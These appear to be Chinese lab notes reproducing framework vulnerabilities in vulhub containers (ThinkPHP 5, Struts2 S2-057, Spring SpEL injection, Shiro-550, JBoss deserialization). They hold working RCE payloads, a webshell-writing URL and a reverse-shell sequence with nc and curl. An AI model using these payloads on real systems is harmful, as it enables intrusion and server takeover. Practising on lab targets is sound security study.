常见框架漏洞

thinkphp远程执行命令漏洞（5-rce）

1.开启环境

cd vulhub/thinkphp/5-rce

docker-compose up -d

2。访问靶场

3.执行whoami

/index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami

4.写入一句话木马

/index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo '<?php @eval($_POST[cmd]);?>' >1.php

 S2-057远程执⾏代码漏洞

1.开启环境

cd vulhub/struts2/s2-057

docker-compose up -d

2.访问目录 /struts2-showcase

3.漏洞验证

在URL后面拼接如下payload

/struts2-showcase/${(123+123)}/actionChain1.action

发现中间的数字进行相加得到了246

4.将上⾯验证payload的值修改为我们的利⽤exp

/struts2-showcase/$%7B%0A%28%23dm%3D@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS%29.%28%23ct%3D%23request%5B%27struts.valueStack%27%5D.context%29.%28%23cr%3D%23ct%5B%27com.opensymphony.xwork2.ActionContext.container%27%5D%29.%28%23ou%3D%23cr.getInstance%28@com.opensymphony.xwork2.ognl.OgnlUtil@class%29%29.%28%23ou.getExcludedPackageNames%28%29.clear%28%29%29.%28%23ou.getExcludedClasses%28%29.clear%28%29%29.%28%23ct.setMemberAccess%28%23dm%29%29.%28%23a%3D@java.lang.Runtime@getRuntime%28%29.exec%28%27whoami%27%29%29.%28@org.apache.commons.io.IOUtils@toString%28%23a.getInputStream%28%29%29%29%7D/actionChain1.action

执行whoami  id等命令

CVE-2017-8046 

1.开启环境

cd vulhub/spring/CVE-2017-8046

docker-compose up -d

2.访问/customers/1

3.抓取数据包，使用PATCH请求来修改

数据包如下：

PATCH /customers/1 HTTP/1.1
Host: 47.121.191.208:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/json-patch+json
Content-Length: 202[{ "op": "replace", "path": "T(java.lang.Runtime).getRuntime().exec(new java.lang.String(new byte[]{116,111,117,99,104,32,47,116,109,112,47,115,117,99,99,101,115,115}))/lastname", "value": "vulhub" }]

4.在docker中查看是否成功getshell

CVE-2018-1273 

1.开启环境

cd vulhub/spring/CVE-2018-1273

docker-compose up -d

2.访问/users目录

3。提交任意信息并抓包

将数据包内容改为如下：

username[#this.getClass().forName("java.lang.Runtime").getRuntime().exec("touch /tmp/zcc")]=&password=&repeatedPassword=

4.依旧是在docker中查看是否getshell

Shiro-550 

1.开启环境

cd vulhub/shiro/CVE-2016-4437

docker-compose up -d

2.验证Shiro框架
使用BurpSuite进行抓包，在请求包中的cookie字段中添加rememberMe=123:，看响应包header中是否返回rememberMe=deleteMe值，若有，则证明该系统使用了Shiro框架

3.使用工具

JBoss CVE-2013-4810 反序列化漏洞

1。开启环境

vulhub/jboss/JMXInvokerServlet-deserialization

2.访问/invoker/JMXInvokerServlet

若果下载了文件，那么就有可能存在漏洞

3.

#创建class⽂件
javac -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap.java
#创建反序列化⽂件
java -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap 47.121.191.208:6666
#监听 6666 端⼝
nc -lvvp 6666
#psot提交
curl http://47.121.191.208:8080/invoker/readonly --data-binary @ReverseShellCommonsCollectionsHashMap.ser

获得shell